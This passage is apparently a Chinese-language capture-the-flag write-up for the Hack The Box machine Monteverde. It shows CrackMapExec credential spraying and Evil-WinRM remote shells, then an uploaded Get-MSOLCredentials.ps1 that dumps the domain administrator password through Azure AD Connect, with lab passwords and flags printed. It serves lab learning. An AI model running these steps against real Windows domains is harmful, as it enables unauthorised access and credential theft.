SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$

┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ crackmapexec winrm 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$
SMB         10.10.10.172    5985   MONTEVERDE       [*] Windows 10.0 Build 17763 (name:MONTEVERDE) (domain:MEGABANK.LOCAL)
HTTP        10.10.10.172    5985   MONTEVERDE       [*] http://10.10.10.172:5985/wsman
WINRM       10.10.10.172    5985   MONTEVERDE       [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$ (Pwn3d!)
```

知道了是mhope的用户名和密码，直接登陆：

```
┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ evil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\mhope\Documents> whoami
megabank\mhope
*Evil-WinRM* PS C:\Users\mhope\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\mhope\desktop> ls


    Directory: C:\Users\mhope\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        1/3/2020   5:48 AM             32 user.txt


*Evil-WinRM* PS C:\Users\mhope\desktop> cat user.txt
4961976bd7d8f4eeb2ce3705e2f212f2
```

尝试过使用winPEASx64.exe，没有效果，使用net user mhope的时候发现：

```
*Evil-WinRM* PS C:\Users\mhope\Documents> net user mhope
User name                    mhope
Full Name                    Mike Hope
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/2/2020 4:40:05 PM
Password expires             Never
Password changeable          1/3/2020 4:40:05 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory               \\monteverde\users$\mhope
Last logon                   1/3/2020 6:29:59 AM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Azure Admins         *Domain Users
The command completed successfully.
```

它属于Azure Admins组，该组可以被用于提权:

```
┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ evil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\mhope\Documents> net user mhope
User name                    mhope
Full Name                    Mike Hope
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/2/2020 4:40:05 PM
Password expires             Never
Password changeable          1/3/2020 4:40:05 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory               \\monteverde\users$\mhope
Last logon                   1/3/2020 6:29:59 AM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Azure Admins         *Domain Users
The command completed successfully.

*Evil-WinRM* PS C:\Users\mhope\Documents> upload Get-MSOLCredentials.ps1
Info: Uploading Get-MSOLCredentials.ps1 to C:\Users\mhope\Documents\Get-MSOLCredentials.ps1


Data: 2236 bytes of 2236 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\mhope\Documents> ./Get-MSOLCredentials.ps1
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!
*Evil-WinRM* PS C:\Users\mhope\Documents>
```

获得admin权限的账号和密码：

```
┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ evil-winrm -i 10.10.10.172 -u administrator -p d0m@in4dminyeah!


Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
megabank\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../desktop/root.txt
12909612d25c8dcf6e5a07d1a804a0bc
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```